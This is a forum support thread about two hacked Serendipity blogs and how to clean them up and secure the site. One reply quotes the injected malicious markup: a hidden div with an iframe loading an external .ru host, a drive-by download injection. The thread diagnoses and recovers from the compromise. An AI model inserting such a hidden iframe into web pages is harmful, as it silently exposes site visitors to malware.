No clue what's gone wrong

Random stuff about serendipity. Discussion, Questions, Paraphernalia.
Post Reply
mfshapiro
Posts: 4
Joined: Wed Jul 08, 2009 5:44 pm

No clue what's gone wrong

Post by mfshapiro »

Hi.

I've installed two parallel (separate) Serendipity blogs and had them running over the weekend without any difficulty. The hosting company has minimal support and, unfortunately because of our particular circumstances, this cannot change.

Now, when visiting the blog sites rather than seeing the page one sees what appears to be the underlying code. Any guidance and assistance would be greatly appreciated.

The blogs are: (Link may contain virus!)

Code: Select all

http://www.rsholom.org/blog
http://www.rsholom.org/blog_ed
Many thanks.
Michael Shapiro
Last edited by kleinerChemiker on Tue Oct 13, 2009 11:33 pm, edited 2 times in total.
Reason: Link führt möglicherweise zu Schadsoftware
Don Chambers
Regular
Posts: 3657
Joined: Mon Feb 13, 2006 2:40 am
Location: Chicago, IL, USA
Contact:

Re: No clue what's gone wrong

Post by Don Chambers »

The hosting company may have "minimal support", but surely that is enough to correct the problem. You really need to bring this to their attention.
=Don=
kleinerChemiker
Regular
Posts: 765
Joined: Tue Oct 17, 2006 2:36 pm
Location: Vienna/Austria
Contact:

Re: No clue what's gone wrong

Post by kleinerChemiker »

Could it be, that your blog was hacked? When I opend it, I got an .pdf too which my virus protection didn't liked.
mfshapiro
Posts: 4
Joined: Wed Jul 08, 2009 5:44 pm

Re: No clue what's gone wrong

Post by mfshapiro »

It's possible. Our main website has been the target of repeated hacking attempts.

Can you suggest how I can identify the problem and, more important, fix it? Should I reinstall?...if so, is there a way to save the existing configuration? Is there a way to protect the blog from hacking attacks in the future?

Many thanks.
Michael
Don Chambers
Regular
Posts: 3657
Joined: Mon Feb 13, 2006 2:40 am
Location: Chicago, IL, USA
Contact:

Re: No clue what's gone wrong

Post by Don Chambers »

kleinerChemiker could be right... the HTML output ends in this:

Code: Select all

<div style="display:none">tzxwczdtsvndgukeavwoscttsksajmx<iframe width=464 height=912 src="http://check-your-iq.ru:8080/index.php" ></iframe></div>
I'd bet few files were affected - perhaps just the root index.php file.

Did you customize anything, such as a template? If you did no customizations, you might be able to simply simply upload serendipity again, and overwrite all files. I think this will preserve your existing data. You also need to immediately change all your ftp credentials as that is quite possibly what got compromised.
=Don=
mfshapiro
Posts: 4
Joined: Wed Jul 08, 2009 5:44 pm

Re: No clue what's gone wrong

Post by mfshapiro »

Thank you!

I will reload and see what happens. Besides changing FTP credentials, are there any other steps I can take to protect the site?

Michael
Don Chambers
Regular
Posts: 3657
Joined: Mon Feb 13, 2006 2:40 am
Location: Chicago, IL, USA
Contact:

Re: No clue what's gone wrong

Post by Don Chambers »

I am not expert in protecting sites, perhaps others will have suggestions. Most that I hear of are due to admin names and passwords being intercepted. Other possibilities are when a hosted server gets hacked, and multiple sites are infected.
=Don=
mfshapiro
Posts: 4
Joined: Wed Jul 08, 2009 5:44 pm

Re: No clue what's gone wrong

Post by mfshapiro »

Happy to report I've reloaded Serendipity and gotten both blogs up and running again with only a few minor tweaks needed. I've changed all my S9Y, SQL and FTP passwords. I also implemented the suggestions in the entry "My sites .htaccess file was hacked, how?".

Does anyone have any other suggestions to better secure a Serendipity installation?

Thanks to those replying earlier and in advance to those who may have additional suggestions.

Michael
Don Chambers
Regular
Posts: 3657
Joined: Mon Feb 13, 2006 2:40 am
Location: Chicago, IL, USA
Contact:

Re: No clue what's gone wrong

Post by Don Chambers »

Excellent Michael!!! Looking good. Can I make a suggestion? You are running the Bulletproof template. You seem to only be using the right sidebar. Go to Manage Styles, and select the blog format C-S (I think that's what we call it).. meaning Content-Sidebar. That will eliminate the empty left sidebar.

On a side note, can I get Shabbat-to-go for November 6th up here in Chicago? I love brisket!! :lol:

Also glad to hear you changed your credentials. You should run anti-malware apps on any machines you use to maintain your sites..... you might well have some spyware or virus on their recording your credentials.
=Don=
Post Reply